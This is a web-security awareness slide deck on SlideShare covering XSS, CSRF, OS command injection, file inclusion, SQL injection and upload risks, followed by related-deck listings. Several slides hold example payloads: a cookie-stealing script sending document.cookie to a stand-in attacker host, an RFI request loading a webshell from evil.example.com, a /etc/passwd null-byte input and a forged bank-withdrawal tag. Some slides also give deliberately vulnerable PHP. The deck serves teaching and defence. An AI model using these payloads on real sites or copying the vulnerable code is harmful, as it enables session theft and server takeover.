SlideShare a Scribd company logo
1 of 19
Lets Make our Web Applications
Secure.
Dipankar Sinha
Project Manager
Infrastructure and Hosting
Information security means protecting information and information
systems from unauthorized access, use, disclosure, disruption,
modification, perusal, inspection, recording or destruction.
Consists of (C I A):
* Confidentiality Ensuring that information is not accessed by
unauthorized persons.
* Integrity  Ensuring that information is not altered by
unauthorized persons in a way that is not detectable by authorized
users.
* Authentication  Ensuring that users are the persons they claim
to be.
What do you mean by Information Security??
Security in Shopping Mall??
IN Browse Out
• XSS vulnerability
• CSRF vulnerability
• path Traversal
• null Byte
• OS Commanding
• Local File Inclusion (LFI)
• Remote File Inclusion (RFI)
• Information Disclosure
• SQL Injection
• file Upload
Know your enemy??
• Persistent (Stored)
• Non-Persistent
• Non-Persistent Example:
– http://server/cgi-bin/testcgi.exe?<SCRIPT>alert(“Cookie”+document.cookie)</SCRIPT>
– %3cscript src=http://www.example.com/malicious-code.js%3e%3c/script%3e
• Persistent Example:
– <SCRIPT> document.location= 'http://attackerhost.example/cgi-
bin/cookiesteal.cgi?'+document.cookie </SCRIPT>
XSS ??
http://ha.ckers.org/xss.html
• htmlentities  Convert all applicable characters to HTML
entities.
• htmlspecialchars  Convert special characters to HTML
entities.
• strip_tags  Strip HTML and PHP tags from a string.
Prevent XSS (PHP way)??
http://www.xssed.com/
http://www.parosproxy.org/ : detection tool
http://w3af.sourceforge.net/ : detection tool
• One Click Attack
• unauthorized commands are transmitted from a
user machine that the website trusts.
The following characteristics are common to CSRF:
• Involve sites that rely on a user's identity
• Exploit the site's trust in that identity
• Trick the user's browser into sending HTTP requests to a target site
• Involve HTTP requests that have side effects
• <img
src="http://bank.example.com/withdraw?account=gates&amount=1000000&for=sinha">
Cross-site request forgery (CSRF)??
http://www.owasp.org/index.php/Image:CSRFTester-1.0.zip
Several things have to happen for cross-site request forgery to succeed:
• The attacker must target either a site that doesn't check the referrer
header (which is common) or a victim with a browser or plugin bug
that allows referrer spoofing (which is rare).
• The attacker must find a form submission at the target site, or a
URL that has side effects, that does something (e.g., transfers money,
or changes the victim's e-mail address or password).
• The attacker must determine the right values for all the form's or
URL's inputs; if any of them are required to be secret authentication
values or IDs that the attacker can't guess, the attack will fail.
• The attacker must lure the victim to a Web page with malicious
code while the victim is logged in to the target site.
Chances of CSRF??
http://www.owasp.org/index.php/Image:CSRFTester-1.0.zip
• Requiring the client to provide authentication data in the same HTTP
Request used to perform any operation with security implications
(money transfer, etc)
• Limiting the lifetime of session cookies
• Checking the HTTP Referer header
• Add unique token every time during transactions and generate and
verify at server side.
Rx CSRF??
http://www.owasp.org/index.php/Image:CSRFTester-1.0.zip
• used for unauthorized execution of operating system commands
• result of mixing trusted code and untrusted data
• attack is possible when an application accepts untrusted input to build
operating system commands in an insecure manner involving
improper data sanitization, and/or improper calling of external
programs
• executed commands by an attacker will run with the same privileges of
the component that executed the command.
Sample:
$month = $_GET['month'];
$year = $_GET['year'];
exec("cal $month $year", $result);
print "<PRE>";foreach ($result as $r)
{ print "$r<BR>"; }
print "</PRE>";
OS Commanding??
• Attack technique used to exploit "dynamic file include" mechanisms in
web applications.
• When web applications take user input (URL, parameter value, etc.)
and pass them into file include commands, the web application might
be tricked into including remote files with malicious code.
• RFI means executing remotely hosted malicious code at server level.
• The attacker's malicious code can manipulate the content of the
response sent to the client. The attacker can embed malicious code in
the response that will be run by the client (for example, Javascript to
steal the client session cookies). (LFI)
• In PHP the main cause is due to the use of unvalidated external
variables such as $_GET, $_POST, $_COOKIE with a filesystem
function.
• The PHP language has an allow_url_fopen directive, and if enabled it
allows filesystem functions to use a URL which allows them to retrieve
data from remote locations. An attacker will alter a variable that is
passed to one of these functions to cause it to include malicious code
from a remote resource. To mitigate this vulnerability, all user input
needs to be validated before being used
Terrible RFI/LFI… Careful Please..
<?php
$color = 'blue';
if (isset( $_GET['COLOR'] ) )
$color = $_GET['COLOR'];
include( $color . '.php' );
?>
<form method="get">
<select name="COLOR">
<option value="red">red</option>
<option value="blue">blue</option>
</select>
<input type="submit">
</form>
Terrible RFI/LFI… Careful Please..
http://w3af.sourceforge.net/
/vulnerable.php?COLOR=http://evil.example.com/webshell.txt?
/vulnerable.php?COLOR=C:ftpuploadexploit
/vulnerable.php?COLOR=/etc/passwd%00
SQL Injection..
http://w3af.sourceforge.net/
• Many web applications take user input from a form
• Often this user input is used literally in the construction of a SQL query
submitted to a database. For example:
– SELECT productdata FROM table WHERE productname = ‘user
input product name’;
• A SQL injection attack involves placing SQL statements in the user
input
• E.g. “Search GOLD OR ‘x’ = ‘x”.
• This input is put directly into the SQL statement within the Web
application:
– SELECT prodinfo FROM prodtable WHERE prodname = ‘GOLD ‘
OR ‘x’ = ‘x’
– Attacker has now successfully caused the entire database to be
returned
SQL Injection..
http://w3af.sourceforge.net/
• Hackers can :
– Add new viagra ad in your website.
– Delete your Database/tables/records.
– Sell items for free.
– Can sell your company information to others.
– Can use USERs data for benefit (credit card information etc.)
• Solution?
– Check syntax of input for validity
– Have length limits on input
– Many SQL injection attacks depend on entering long strings
– Scan query string for undesirable word combinations that indicate SQL
statements (Insert,Drop,update, delete,select etc).
– Limit database permissions and segregate users
– Default error reporting often gives away information that is valuable for
attackers (table name, field name, etc.). Configure properly.
file Upload..Any problem?
Mostly nowadays contains a file upload feature, which has a validation
but can be used for a person to upload malicious script files and
thereby take control of our server.
As main countermeasures you can have in mind:
• Checking the file size.
• Deny execute permission on the directory where the files are
uploaded.
• Check MIME-TYPE.
• Check the file extension.
• Protecting the upload folder with .htaccess with –ExecCGI
• If possible, upload the files in a directory outside the server root
• Create a list of accepted mime-typesGenerate a random file name and
add the previously generated extension
• Don’t rely on client-side validation only, since it is not enough. Ideally
one should have both server-side and client-side validation
implemented.
• http://wapiti.sourceforge.net/
• http://www.cirt.net/nikto2
• http://www.nessus.org/
• http://www.darknet.org.uk/2007/01/spik
e-proxy-application-level-security-
assessment/
Helpful tools ??
• http://www.wikipedia.org/
• https://www.owasp.org/
• http://www.cert.org/
• http://www.cert-in.org.in/
• http://www.metasploit.com
• http://www.infosecinstitute.com
• http://www.pentestit.com
• http://www.sans.org
References and Good reading
ANY QUESTIONS ??
?????????
Dipankar.Sinha@hungama.com
Want to contact later ?

More Related Content

What's hot

Mobile security chess board - attacks & defense
Mobile security chess board - attacks & defenseMobile security chess board - attacks & defense
Mobile security chess board - attacks & defenseBlueinfy Solutions
 
Applciation footprinting, discovery and enumeration
Applciation footprinting, discovery and enumerationApplciation footprinting, discovery and enumeration
Applciation footprinting, discovery and enumerationBlueinfy Solutions
 
Web application attack Presentation
Web application attack PresentationWeb application attack Presentation
Web application attack PresentationKhoa Nguyen
 
Introduction to Web Application Security Principles
Introduction to Web Application Security Principles Introduction to Web Application Security Principles
Introduction to Web Application Security Principles Dr. P. Mohana Priya
 
Beyond API Authorization
Beyond API AuthorizationBeyond API Authorization
Beyond API AuthorizationJared Hanson
 
Secure code practices
Secure code practicesSecure code practices
Secure code practicesHina Rawal
 
Application Security Vulnerabilities: OWASP Top 10 -2007
Application Security Vulnerabilities: OWASP Top 10  -2007Application Security Vulnerabilities: OWASP Top 10  -2007
Application Security Vulnerabilities: OWASP Top 10 -2007Vaibhav Gupta
 
OWASP top 10-2013
OWASP top 10-2013OWASP top 10-2013
OWASP top 10-2013tmd800
 
Web application security: Threats & Countermeasures
Web application security: Threats & CountermeasuresWeb application security: Threats & Countermeasures
Web application security: Threats & CountermeasuresAung Thu Rha Hein
 
Secure Code Warrior - Issues with origins
Secure Code Warrior - Issues with originsSecure Code Warrior - Issues with origins
Secure Code Warrior - Issues with originsSecure Code Warrior
 
BlackHat 2014 Briefings - Exploiting Fundamental Weaknesses in Botnet C&C Pan...
BlackHat 2014 Briefings - Exploiting Fundamental Weaknesses in Botnet C&C Pan...BlackHat 2014 Briefings - Exploiting Fundamental Weaknesses in Botnet C&C Pan...
BlackHat 2014 Briefings - Exploiting Fundamental Weaknesses in Botnet C&C Pan...Aditya K Sood
 
Web application security & Testing
Web application security  & TestingWeb application security  & Testing
Web application security & TestingDeepu S Nath
 
OWASP Top 10 Proactive Controls
OWASP Top 10 Proactive ControlsOWASP Top 10 Proactive Controls
OWASP Top 10 Proactive ControlsKaty Anton
 
Automation In Android & iOS Application Review
Automation In Android & iOS 	Application Review�Automation In Android & iOS 	Application Review�
Automation In Android & iOS Application ReviewBlueinfy Solutions
 
Using & Abusing APIs: An Examination of the API Attack Surface
Using & Abusing APIs: An Examination of the API Attack SurfaceUsing & Abusing APIs: An Examination of the API Attack Surface
Using & Abusing APIs: An Examination of the API Attack SurfaceCA API Management
 
iOS Application Security Testing
iOS Application Security TestingiOS Application Security Testing
iOS Application Security TestingBlueinfy Solutions
 

What's hot (20)

Mobile security chess board - attacks & defense
Mobile security chess board - attacks & defenseMobile security chess board - attacks & defense
Mobile security chess board - attacks & defense
 
Web attacks
Web attacksWeb attacks
Web attacks
 
Applciation footprinting, discovery and enumeration
Applciation footprinting, discovery and enumerationApplciation footprinting, discovery and enumeration
Applciation footprinting, discovery and enumeration
 
Owasp Top 10 A1: Injection
Owasp Top 10 A1: InjectionOwasp Top 10 A1: Injection
Owasp Top 10 A1: Injection
 
Web application attack Presentation
Web application attack PresentationWeb application attack Presentation
Web application attack Presentation
 
Introduction to Web Application Security Principles
Introduction to Web Application Security Principles Introduction to Web Application Security Principles
Introduction to Web Application Security Principles
 
D@W REST security
D@W REST securityD@W REST security
D@W REST security
 
Android attacks
Android attacksAndroid attacks
Android attacks
 
Beyond API Authorization
Beyond API AuthorizationBeyond API Authorization
Beyond API Authorization
 
Secure code practices
Secure code practicesSecure code practices
Secure code practices
 
Application Security Vulnerabilities: OWASP Top 10 -2007
Application Security Vulnerabilities: OWASP Top 10  -2007Application Security Vulnerabilities: OWASP Top 10  -2007
Application Security Vulnerabilities: OWASP Top 10 -2007
 
OWASP top 10-2013
OWASP top 10-2013OWASP top 10-2013
OWASP top 10-2013
 
Web application security: Threats & Countermeasures
Web application security: Threats & CountermeasuresWeb application security: Threats & Countermeasures
Web application security: Threats & Countermeasures
 
Secure Code Warrior - Issues with origins
Secure Code Warrior - Issues with originsSecure Code Warrior - Issues with origins
Secure Code Warrior - Issues with origins
 
BlackHat 2014 Briefings - Exploiting Fundamental Weaknesses in Botnet C&C Pan...
BlackHat 2014 Briefings - Exploiting Fundamental Weaknesses in Botnet C&C Pan...BlackHat 2014 Briefings - Exploiting Fundamental Weaknesses in Botnet C&C Pan...
BlackHat 2014 Briefings - Exploiting Fundamental Weaknesses in Botnet C&C Pan...
 
Web application security & Testing
Web application security  & TestingWeb application security  & Testing
Web application security & Testing
 
OWASP Top 10 Proactive Controls
OWASP Top 10 Proactive ControlsOWASP Top 10 Proactive Controls
OWASP Top 10 Proactive Controls
 
Automation In Android & iOS Application Review
Automation In Android & iOS 	Application Review�Automation In Android & iOS 	Application Review�
Automation In Android & iOS Application Review
 
Using & Abusing APIs: An Examination of the API Attack Surface
Using & Abusing APIs: An Examination of the API Attack SurfaceUsing & Abusing APIs: An Examination of the API Attack Surface
Using & Abusing APIs: An Examination of the API Attack Surface
 
iOS Application Security Testing
iOS Application Security TestingiOS Application Security Testing
iOS Application Security Testing
 

Similar to Make Web Apps Secure with Proper Information Security Practices

Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...
Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...
Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...IBM Security
 
2013 OWASP Top 10
2013 OWASP Top 102013 OWASP Top 10
2013 OWASP Top 10bilcorry
 
Web and Mobile Application Security
Web and Mobile Application SecurityWeb and Mobile Application Security
Web and Mobile Application SecurityPrateek Jain
 
OWASP TOP 10 by Team xbios
OWASP TOP 10  by Team xbiosOWASP TOP 10  by Team xbios
OWASP TOP 10 by Team xbiosVi Vek
 
Secure coding guidelines
Secure coding guidelinesSecure coding guidelines
Secure coding guidelinesZakaria SMAHI
 
Web application security
Web application securityWeb application security
Web application securityJin Castor
 
Web Exploitation Security
Web Exploitation SecurityWeb Exploitation Security
Web Exploitation SecurityAman Singh
 
Detailed Developer Report.pdf
Detailed Developer Report.pdfDetailed Developer Report.pdf
Detailed Developer Report.pdfnalla14
 
How to Test for The OWASP Top Ten
 How to Test for The OWASP Top Ten How to Test for The OWASP Top Ten
How to Test for The OWASP Top TenSecurity Innovation
 
Altitude SF 2017: Security at the edge
Altitude SF 2017: Security at the edgeAltitude SF 2017: Security at the edge
Altitude SF 2017: Security at the edgeFastly
 
Web application sec_3
Web application sec_3Web application sec_3
Web application sec_3vhimsikal
 
Secure Coding BSSN Semarang Material.pdf
Secure Coding BSSN Semarang Material.pdfSecure Coding BSSN Semarang Material.pdf
Secure Coding BSSN Semarang Material.pdfnanangAris1
 
Case Study of Django: Web Frameworks that are Secure by Default
Case Study of Django: Web Frameworks that are Secure by DefaultCase Study of Django: Web Frameworks that are Secure by Default
Case Study of Django: Web Frameworks that are Secure by DefaultMohammed ALDOUB
 
Django (Web Applications that are Secure by Default)
Django �(Web Applications that are Secure by Default�)Django �(Web Applications that are Secure by Default�)
Django (Web Applications that are Secure by Default)Kishor Kumar
 
Secure Form Processing and Protection - Sunshine PHP 2015
Secure Form Processing and Protection - Sunshine PHP 2015Secure Form Processing and Protection - Sunshine PHP 2015
Secure Form Processing and Protection - Sunshine PHP 2015Joe Ferguson
 
Mr. Mohammed Aldoub - A case study of django web applications that are secur...
Mr. Mohammed Aldoub  - A case study of django web applications that are secur...Mr. Mohammed Aldoub  - A case study of django web applications that are secur...
Mr. Mohammed Aldoub - A case study of django web applications that are secur...nooralmousa
 

Similar to Make Web Apps Secure with Proper Information Security Practices (20)

Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...
Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...
Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...
 
2013 OWASP Top 10
2013 OWASP Top 102013 OWASP Top 10
2013 OWASP Top 10
 
Web and Mobile Application Security
Web and Mobile Application SecurityWeb and Mobile Application Security
Web and Mobile Application Security
 
OWASP TOP 10 by Team xbios
OWASP TOP 10  by Team xbiosOWASP TOP 10  by Team xbios
OWASP TOP 10 by Team xbios
 
Secure coding guidelines
Secure coding guidelinesSecure coding guidelines
Secure coding guidelines
 
Web application security
Web application securityWeb application security
Web application security
 
Web Exploitation Security
Web Exploitation SecurityWeb Exploitation Security
Web Exploitation Security
 
Detailed Developer Report.pdf
Detailed Developer Report.pdfDetailed Developer Report.pdf
Detailed Developer Report.pdf
 
How to Test for The OWASP Top Ten
 How to Test for The OWASP Top Ten How to Test for The OWASP Top Ten
How to Test for The OWASP Top Ten
 
Altitude SF 2017: Security at the edge
Altitude SF 2017: Security at the edgeAltitude SF 2017: Security at the edge
Altitude SF 2017: Security at the edge
 
Web application sec_3
Web application sec_3Web application sec_3
Web application sec_3
 
Vulnerabilities in Web Applications
Vulnerabilities in Web ApplicationsVulnerabilities in Web Applications
Vulnerabilities in Web Applications
 
Secure Coding BSSN Semarang Material.pdf
Secure Coding BSSN Semarang Material.pdfSecure Coding BSSN Semarang Material.pdf
Secure Coding BSSN Semarang Material.pdf
 
Spa Secure Coding Guide
Spa Secure Coding GuideSpa Secure Coding Guide
Spa Secure Coding Guide
 
Web Application Security
Web Application SecurityWeb Application Security
Web Application Security
 
Case Study of Django: Web Frameworks that are Secure by Default
Case Study of Django: Web Frameworks that are Secure by DefaultCase Study of Django: Web Frameworks that are Secure by Default
Case Study of Django: Web Frameworks that are Secure by Default
 
Web Security
Web SecurityWeb Security
Web Security
 
Django (Web Applications that are Secure by Default)
Django �(Web Applications that are Secure by Default�)Django �(Web Applications that are Secure by Default�)
Django (Web Applications that are Secure by Default)
 
Secure Form Processing and Protection - Sunshine PHP 2015
Secure Form Processing and Protection - Sunshine PHP 2015Secure Form Processing and Protection - Sunshine PHP 2015
Secure Form Processing and Protection - Sunshine PHP 2015
 
Mr. Mohammed Aldoub - A case study of django web applications that are secur...
Mr. Mohammed Aldoub  - A case study of django web applications that are secur...Mr. Mohammed Aldoub  - A case study of django web applications that are secur...
Mr. Mohammed Aldoub - A case study of django web applications that are secur...
 

More from Aryashree Pritikrishna

More from Aryashree Pritikrishna (11)

Mangalacarana Prayers
Mangalacarana PrayersMangalacarana Prayers
Mangalacarana Prayers
 
Parikshit Maharaj
Parikshit MaharajParikshit Maharaj
Parikshit Maharaj
 
Narsimha Chaturdashi Special
Narsimha Chaturdashi SpecialNarsimha Chaturdashi Special
Narsimha Chaturdashi Special
 
A life in service to God and humanity
A life in service to God and humanityA life in service to God and humanity
A life in service to God and humanity
 
Updating drupal core in a git way
Updating drupal core in a git wayUpdating drupal core in a git way
Updating drupal core in a git way
 
Reference Model for ISEB Certificates in Enterprise and Solution Architecture
Reference Model for ISEB  Certificates in Enterprise  and Solution ArchitectureReference Model for ISEB  Certificates in Enterprise  and Solution Architecture
Reference Model for ISEB Certificates in Enterprise and Solution Architecture
 
Get started with angular js
Get started with angular jsGet started with angular js
Get started with angular js
 
e-Commerce web app Architecture and Scalability
e-Commerce web app Architecture and Scalabilitye-Commerce web app Architecture and Scalability
e-Commerce web app Architecture and Scalability
 
Drupal project management
Drupal project managementDrupal project management
Drupal project management
 
User Experience for Large-scale Web-Applications
User Experience for Large-scale Web-ApplicationsUser Experience for Large-scale Web-Applications
User Experience for Large-scale Web-Applications
 
txtWeb : Imagine the Internet and more on SMS
txtWeb : Imagine the Internet and more on SMStxtWeb : Imagine the Internet and more on SMS
txtWeb : Imagine the Internet and more on SMS
 

Recently uploaded

INTRODUCTION TO CATHOLIC CHRISTOLOGY.pptx
INTRODUCTION TO CATHOLIC CHRISTOLOGY.pptxINTRODUCTION TO CATHOLIC CHRISTOLOGY.pptx
INTRODUCTION TO CATHOLIC CHRISTOLOGY.pptxHumphrey A Beña
 
ClimART Action | eTwinning Project
ClimART Action    |    eTwinning ProjectClimART Action    |    eTwinning Project
ClimART Action | eTwinning Projectjordimapav
 
Integumentary System SMP B. Pharm Sem I.ppt
Integumentary System SMP B. Pharm Sem I.pptIntegumentary System SMP B. Pharm Sem I.ppt
Integumentary System SMP B. Pharm Sem I.pptshraddhaparab530
 
HỌC TỐT TIẾNG ANH 11 THEO CHƯƠNG TRÌNH GLOBAL SUCCESS ĐÁP ÁN CHI TIẾT - CẢ NĂ...
HỌC TỐT TIẾNG ANH 11 THEO CHƯƠNG TRÌNH GLOBAL SUCCESS ĐÁP ÁN CHI TIẾT - CẢ NĂ...HỌC TỐT TIẾNG ANH 11 THEO CHƯƠNG TRÌNH GLOBAL SUCCESS ĐÁP ÁN CHI TIẾT - CẢ NĂ...
HỌC TỐT TIẾNG ANH 11 THEO CHƯƠNG TRÌNH GLOBAL SUCCESS ĐÁP ÁN CHI TIẾT - CẢ NĂ...Nguyen Thanh Tu Collection
 
AUDIENCE THEORY -CULTIVATION THEORY - GERBNER.pptx
AUDIENCE THEORY -CULTIVATION THEORY -  GERBNER.pptxAUDIENCE THEORY -CULTIVATION THEORY -  GERBNER.pptx
AUDIENCE THEORY -CULTIVATION THEORY - GERBNER.pptxiammrhaywood
 
Choosing the Right CBSE School A Comprehensive Guide for Parents
Choosing the Right CBSE School A Comprehensive Guide for ParentsChoosing the Right CBSE School A Comprehensive Guide for Parents
Choosing the Right CBSE School A Comprehensive Guide for Parentsnavabharathschool99
 
ICS2208 Lecture6 Notes for SL spaces.pdf
ICS2208 Lecture6 Notes for SL spaces.pdfICS2208 Lecture6 Notes for SL spaces.pdf
ICS2208 Lecture6 Notes for SL spaces.pdfVanessa Camilleri
 
The Contemporary World: The Globalization of World Politics
The Contemporary World: The Globalization of World PoliticsThe Contemporary World: The Globalization of World Politics
The Contemporary World: The Globalization of World PoliticsRommel Regala
 
Incoming and Outgoing Shipments in 3 STEPS Using Odoo 17
Incoming and Outgoing Shipments in 3 STEPS Using Odoo 17Incoming and Outgoing Shipments in 3 STEPS Using Odoo 17
Incoming and Outgoing Shipments in 3 STEPS Using Odoo 17Celine George
 
Presentation Activity 2. Unit 3 transv.pptx
Presentation Activity 2. Unit 3 transv.pptxPresentation Activity 2. Unit 3 transv.pptx
Presentation Activity 2. Unit 3 transv.pptxRosabel UA
 
ANG SEKTOR NG agrikultura.pptx QUARTER 4
ANG SEKTOR NG agrikultura.pptx QUARTER 4ANG SEKTOR NG agrikultura.pptx QUARTER 4
ANG SEKTOR NG agrikultura.pptx QUARTER 4MiaBumagat1
 
Oppenheimer Film Discussion for Philosophy and Film
Oppenheimer Film Discussion for Philosophy and FilmOppenheimer Film Discussion for Philosophy and Film
Oppenheimer Film Discussion for Philosophy and FilmStan Meyer
 
ROLES IN A STAGE PRODUCTION in arts.pptx
ROLES IN A STAGE PRODUCTION in arts.pptxROLES IN A STAGE PRODUCTION in arts.pptx
ROLES IN A STAGE PRODUCTION in arts.pptxVanesaIglesias10
 
Daily Lesson Plan in Mathematics Quarter 4
Daily Lesson Plan in Mathematics Quarter 4Daily Lesson Plan in Mathematics Quarter 4
Daily Lesson Plan in Mathematics Quarter 4JOYLYNSAMANIEGO
 
MULTIDISCIPLINRY NATURE OF THE ENVIRONMENTAL STUDIES.pptx
MULTIDISCIPLINRY NATURE OF THE ENVIRONMENTAL STUDIES.pptxMULTIDISCIPLINRY NATURE OF THE ENVIRONMENTAL STUDIES.pptx
MULTIDISCIPLINRY NATURE OF THE ENVIRONMENTAL STUDIES.pptxAnupkumar Sharma
 
4.18.24 Movement Legacies, Reflection, and Review.pptx
4.18.24 Movement Legacies, Reflection, and Review.pptx4.18.24 Movement Legacies, Reflection, and Review.pptx
4.18.24 Movement Legacies, Reflection, and Review.pptxmary850239
 
Active Learning Strategies (in short ALS).pdf
Active Learning Strategies (in short ALS).pdfActive Learning Strategies (in short ALS).pdf
Active Learning Strategies (in short ALS).pdfPatidar M
 
Virtual-Orientation-on-the-Administration-of-NATG12-NATG6-and-ELLNA.pdf
Virtual-Orientation-on-the-Administration-of-NATG12-NATG6-and-ELLNA.pdfVirtual-Orientation-on-the-Administration-of-NATG12-NATG6-and-ELLNA.pdf
Virtual-Orientation-on-the-Administration-of-NATG12-NATG6-and-ELLNA.pdfErwinPantujan2
 

Recently uploaded (20)

INTRODUCTION TO CATHOLIC CHRISTOLOGY.pptx
INTRODUCTION TO CATHOLIC CHRISTOLOGY.pptxINTRODUCTION TO CATHOLIC CHRISTOLOGY.pptx
INTRODUCTION TO CATHOLIC CHRISTOLOGY.pptx
 
ClimART Action | eTwinning Project
ClimART Action    |    eTwinning ProjectClimART Action    |    eTwinning Project
ClimART Action | eTwinning Project
 
Integumentary System SMP B. Pharm Sem I.ppt
Integumentary System SMP B. Pharm Sem I.pptIntegumentary System SMP B. Pharm Sem I.ppt
Integumentary System SMP B. Pharm Sem I.ppt
 
HỌC TỐT TIẾNG ANH 11 THEO CHƯƠNG TRÌNH GLOBAL SUCCESS ĐÁP ÁN CHI TIẾT - CẢ NĂ...
HỌC TỐT TIẾNG ANH 11 THEO CHƯƠNG TRÌNH GLOBAL SUCCESS ĐÁP ÁN CHI TIẾT - CẢ NĂ...HỌC TỐT TIẾNG ANH 11 THEO CHƯƠNG TRÌNH GLOBAL SUCCESS ĐÁP ÁN CHI TIẾT - CẢ NĂ...
HỌC TỐT TIẾNG ANH 11 THEO CHƯƠNG TRÌNH GLOBAL SUCCESS ĐÁP ÁN CHI TIẾT - CẢ NĂ...
 
FINALS_OF_LEFT_ON_C'N_EL_DORADO_2024.pptx
FINALS_OF_LEFT_ON_C'N_EL_DORADO_2024.pptxFINALS_OF_LEFT_ON_C'N_EL_DORADO_2024.pptx
FINALS_OF_LEFT_ON_C'N_EL_DORADO_2024.pptx
 
LEFT_ON_C'N_ PRELIMS_EL_DORADO_2024.pptx
LEFT_ON_C'N_ PRELIMS_EL_DORADO_2024.pptxLEFT_ON_C'N_ PRELIMS_EL_DORADO_2024.pptx
LEFT_ON_C'N_ PRELIMS_EL_DORADO_2024.pptx
 
AUDIENCE THEORY -CULTIVATION THEORY - GERBNER.pptx
AUDIENCE THEORY -CULTIVATION THEORY -  GERBNER.pptxAUDIENCE THEORY -CULTIVATION THEORY -  GERBNER.pptx
AUDIENCE THEORY -CULTIVATION THEORY - GERBNER.pptx
 
Choosing the Right CBSE School A Comprehensive Guide for Parents
Choosing the Right CBSE School A Comprehensive Guide for ParentsChoosing the Right CBSE School A Comprehensive Guide for Parents
Choosing the Right CBSE School A Comprehensive Guide for Parents
 
ICS2208 Lecture6 Notes for SL spaces.pdf
ICS2208 Lecture6 Notes for SL spaces.pdfICS2208 Lecture6 Notes for SL spaces.pdf
ICS2208 Lecture6 Notes for SL spaces.pdf
 
The Contemporary World: The Globalization of World Politics
The Contemporary World: The Globalization of World PoliticsThe Contemporary World: The Globalization of World Politics
The Contemporary World: The Globalization of World Politics
 
Incoming and Outgoing Shipments in 3 STEPS Using Odoo 17
Incoming and Outgoing Shipments in 3 STEPS Using Odoo 17Incoming and Outgoing Shipments in 3 STEPS Using Odoo 17
Incoming and Outgoing Shipments in 3 STEPS Using Odoo 17
 
Presentation Activity 2. Unit 3 transv.pptx
Presentation Activity 2. Unit 3 transv.pptxPresentation Activity 2. Unit 3 transv.pptx
Presentation Activity 2. Unit 3 transv.pptx
 
ANG SEKTOR NG agrikultura.pptx QUARTER 4
ANG SEKTOR NG agrikultura.pptx QUARTER 4ANG SEKTOR NG agrikultura.pptx QUARTER 4
ANG SEKTOR NG agrikultura.pptx QUARTER 4
 
Oppenheimer Film Discussion for Philosophy and Film
Oppenheimer Film Discussion for Philosophy and FilmOppenheimer Film Discussion for Philosophy and Film
Oppenheimer Film Discussion for Philosophy and Film
 
ROLES IN A STAGE PRODUCTION in arts.pptx
ROLES IN A STAGE PRODUCTION in arts.pptxROLES IN A STAGE PRODUCTION in arts.pptx
ROLES IN A STAGE PRODUCTION in arts.pptx
 
Daily Lesson Plan in Mathematics Quarter 4
Daily Lesson Plan in Mathematics Quarter 4Daily Lesson Plan in Mathematics Quarter 4
Daily Lesson Plan in Mathematics Quarter 4
 
MULTIDISCIPLINRY NATURE OF THE ENVIRONMENTAL STUDIES.pptx
MULTIDISCIPLINRY NATURE OF THE ENVIRONMENTAL STUDIES.pptxMULTIDISCIPLINRY NATURE OF THE ENVIRONMENTAL STUDIES.pptx
MULTIDISCIPLINRY NATURE OF THE ENVIRONMENTAL STUDIES.pptx
 
4.18.24 Movement Legacies, Reflection, and Review.pptx
4.18.24 Movement Legacies, Reflection, and Review.pptx4.18.24 Movement Legacies, Reflection, and Review.pptx
4.18.24 Movement Legacies, Reflection, and Review.pptx
 
Active Learning Strategies (in short ALS).pdf
Active Learning Strategies (in short ALS).pdfActive Learning Strategies (in short ALS).pdf
Active Learning Strategies (in short ALS).pdf
 
Virtual-Orientation-on-the-Administration-of-NATG12-NATG6-and-ELLNA.pdf
Virtual-Orientation-on-the-Administration-of-NATG12-NATG6-and-ELLNA.pdfVirtual-Orientation-on-the-Administration-of-NATG12-NATG6-and-ELLNA.pdf
Virtual-Orientation-on-the-Administration-of-NATG12-NATG6-and-ELLNA.pdf
 

Make Web Apps Secure with Proper Information Security Practices

  • 1. Lets Make our Web Applications Secure. Dipankar Sinha Project Manager Infrastructure and Hosting
  • 2. Information security means protecting information and information systems from unauthorized access, use, disclosure, disruption, modification, perusal, inspection, recording or destruction. Consists of (C I A): * Confidentiality Ensuring that information is not accessed by unauthorized persons. * Integrity  Ensuring that information is not altered by unauthorized persons in a way that is not detectable by authorized users. * Authentication  Ensuring that users are the persons they claim to be. What do you mean by Information Security??
  • 3. Security in Shopping Mall?? IN Browse Out
  • 4. • XSS vulnerability • CSRF vulnerability • path Traversal • null Byte • OS Commanding • Local File Inclusion (LFI) • Remote File Inclusion (RFI) • Information Disclosure • SQL Injection • file Upload Know your enemy??
  • 5. • Persistent (Stored) • Non-Persistent • Non-Persistent Example: – http://server/cgi-bin/testcgi.exe?<SCRIPT>alert(“Cookie”+document.cookie)</SCRIPT> – %3cscript src=http://www.example.com/malicious-code.js%3e%3c/script%3e • Persistent Example: – <SCRIPT> document.location= 'http://attackerhost.example/cgi- bin/cookiesteal.cgi?'+document.cookie </SCRIPT> XSS ?? http://ha.ckers.org/xss.html
  • 6. • htmlentities  Convert all applicable characters to HTML entities. • htmlspecialchars  Convert special characters to HTML entities. • strip_tags  Strip HTML and PHP tags from a string. Prevent XSS (PHP way)?? http://www.xssed.com/ http://www.parosproxy.org/ : detection tool http://w3af.sourceforge.net/ : detection tool
  • 7. • One Click Attack • unauthorized commands are transmitted from a user machine that the website trusts. The following characteristics are common to CSRF: • Involve sites that rely on a user's identity • Exploit the site's trust in that identity • Trick the user's browser into sending HTTP requests to a target site • Involve HTTP requests that have side effects • <img src="http://bank.example.com/withdraw?account=gates&amount=1000000&for=sinha"> Cross-site request forgery (CSRF)?? http://www.owasp.org/index.php/Image:CSRFTester-1.0.zip
  • 8. Several things have to happen for cross-site request forgery to succeed: • The attacker must target either a site that doesn't check the referrer header (which is common) or a victim with a browser or plugin bug that allows referrer spoofing (which is rare). • The attacker must find a form submission at the target site, or a URL that has side effects, that does something (e.g., transfers money, or changes the victim's e-mail address or password). • The attacker must determine the right values for all the form's or URL's inputs; if any of them are required to be secret authentication values or IDs that the attacker can't guess, the attack will fail. • The attacker must lure the victim to a Web page with malicious code while the victim is logged in to the target site. Chances of CSRF?? http://www.owasp.org/index.php/Image:CSRFTester-1.0.zip
